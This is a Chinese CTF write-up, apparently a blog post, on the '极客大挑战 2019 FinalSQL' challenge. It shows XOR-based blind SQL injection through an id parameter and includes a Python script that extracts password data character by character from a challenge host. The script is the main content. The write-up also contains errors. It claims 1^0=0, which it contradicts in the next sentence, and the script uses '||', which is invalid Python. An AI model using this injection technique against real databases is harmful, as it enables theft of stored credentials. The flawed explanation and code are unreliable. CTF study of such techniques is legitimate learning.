[极客大挑战 2019]FinalSQL(异或盲注)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

题目

在这里插入图片描述
测试一下登录,发现是个幌子,因为给过滤掉的东西太多了,但是点击上面的1~5按钮,发现url出现id字样
在这里插入图片描述
再FUZZ测试一下发现盲注可行
异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真
1^1有ERROR字样,1^0则为这个界面,所以脚本我们可以这样写

import requests
flag=''
for i in range(1,250):
	left=32
	right=128
	mid=(left+right)//2
	while(left<right):
		res=requests.get('http://e487615c-08e4-4b1d-a3d2-fae355b974c9.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)'%(i,mid))
		if 'ERROR' in res.text:
			left=mid+1
		else:
			right=mid
		mid=(left+right)//2
	if(mid==32 || mid==127):
		break
	flag=flag+chr(mid)
	print(flag)

这里只写了最后爆破出flag的一步,爆破表列名等操作都差不多就不写了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值